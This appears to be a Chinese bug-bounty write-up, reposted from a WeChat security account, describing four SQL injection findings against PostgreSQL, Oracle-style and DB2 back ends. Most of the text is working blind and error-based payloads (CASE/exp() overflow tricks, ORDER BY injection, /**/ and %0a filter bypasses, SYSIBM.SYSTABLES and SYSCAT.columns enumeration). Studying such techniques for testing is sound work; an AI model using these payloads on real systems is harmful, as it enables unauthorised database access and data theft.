sql注入1
再加个单引号正常
开始测试各种函数,结果都为1,正常应该返回数据
换个写法就可以了,回显了数据,说明=出现了问题,但又不是被过滤了,很有可能它有个规则是在一些符号传进去之后会在后面加了一些字符导致语句异常
将结果换成exp(710)验证一下,逻辑没问题
直接最简单的注user语句,正常逻辑应该回显数据,但是返回异常,那就得一步一步测哪里的问题
先试下length函数,没什么问题,说明user是没被过滤的
把后面结果换成exp(710),长度肯定不止一位,所以执行了后面的函数,就会报错
substring(user from 1 for 1)代表从第一位开始,截取长度为1
这个函数有两个参数,返回的是第一个参数第一次出现在后面的位置
position('sql' in 'postgresql')返回的是8
position('sq' in 'postgresql')返回的也是8
position('p' in 'postgresql')返回的则是1
'||case position('a' in user) when 1 then 1 else exp(720) end||'
user第一位不是a,所以执行else后面的,返回异常
直接跑第一位,说明c是user第一位,返回1才返回数据
sql注入2
原有数据包
判断user长度
case when length(user)=11 then 1 else exp(800) end
直接遍历数字
遍历user第一位的ascii码
case when ascii(substr(user,1,1))=11 then 1 else exp(900)
第一位ascii码为87也就是W
同理遍历第二位
case when ascii(substr(user,2,1))=11 then 1 else exp(900)
第二位ascii码为70也就是F
sql注入3
这里直接插入一个比较大的数字,ordey by 100,没有这么多列就会报错
这里测试发现很多都过滤了,最终构造如下payload
(case 1 when 1 then 1 else 1 end) asc
使用%0a来代替空格,返回数据证明语句没问题
这里说明一下,当then exp(900) else 1 后面为数字就不会执行exp(900)这个函数
这里换成CREATE_TIME不管条件是否相等都返回数据类型不一致
(case 1 when 1 then exp(900) else PROVINCE_ID end) asc
下面就可以截取user了,先用len判断下长度,不过这里经过测试都不能用
(case SUBSTRB(USER,1,1) when 1 then exp(900) else PROVINCE_ID end) asc
百度说substrb和substring一个是按照字节截取,一个是按照字符截取,那么用substrb就应该是两个字节或者4个字节才代表一个字符,这里不知道为啥跑不出来,截取1个字节能跑出来
(case SUBSTR(USER,1,1) when CHR(50) then exp(900) else PROVINCE_ID end) asc
截取的第一位字符肯定不等于CHR(50),返回按照PROVINCE_ID排序的数据,逻辑没问题
SQL注入4
条件1=1正常
然后数据库为DB2,直接注表,相关语句如下
原始语句,这里/**/代替的是空格,根据实际情况变化即可
注用户表数量
'/**/and/**/((select/**/count(NAME)/**/from/**/SYSIBM.SYSTABLES/**/where/**/CREATOR=USER)>10)/**/or/**/'6'='7
注入第一个表名长度
'/**/and/**/(select/**/(LENGTH(NAME))/**/from/**/SYSIBM.SYSTABLES/**/where/**/name/**/not/**/in/**/('COLUMNS')/**/fetch/**/first/**/1/**/row/**/only)=7/**/or/**/'6'='7
注入第一个表名
'/**/and/**/ascii((select/**/(substr(NAME,1,1))/**/from/**/SYSIBM.SYSTABLES/**/where/**/name/**/not/**/in/**/('COLUMNS')/**/fetch/**/first/**/1/**/row/**/only))=84/**/or/**/'6'='7
注指定表内列名数量
'/**/and/**/(select/**/count(COLNAME)/**/from/**/SYSCAT.columns/**/where/**/TABNAME='TS_AUTH(表名)')>2/**/or/**/'6'='7
注入指定表内第一列名长度
'/**/and/**/(select/**/(LENGTH(COLNAME)) from SYSCAT.columns/**/where/**/TABNAME='TS_AUTH(表名)'/**/and/**/colno=0)=7/**/or/**/'6'='7
注入指定表内第一个列名
'/**/and/**/ascii((select/**/(substr(COLNAME,1,1))/**/from/**/SYSCAT.columns where TABNAME='TS_AUTH(表名)'/**/and/**/colno=0))=84/**/or/**/'6'='7
注第一张表名的长度
长度为12位
直接截取第一位也就是
ASCII((select(substr(NAME,1,1)) from SYSIBM.SYSTABLES where name not in ('COLUMNS') fetch first 1 row only))=84
SYSIBM.SYSTABLES为DB2中的默认表,这条语句返回的就是第一张表名的第一个字符的ascii码
直接遍历即可,剩下同理
原文始发于微信公众号(起凡安全):SRC中的几个sql注入挖掘过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论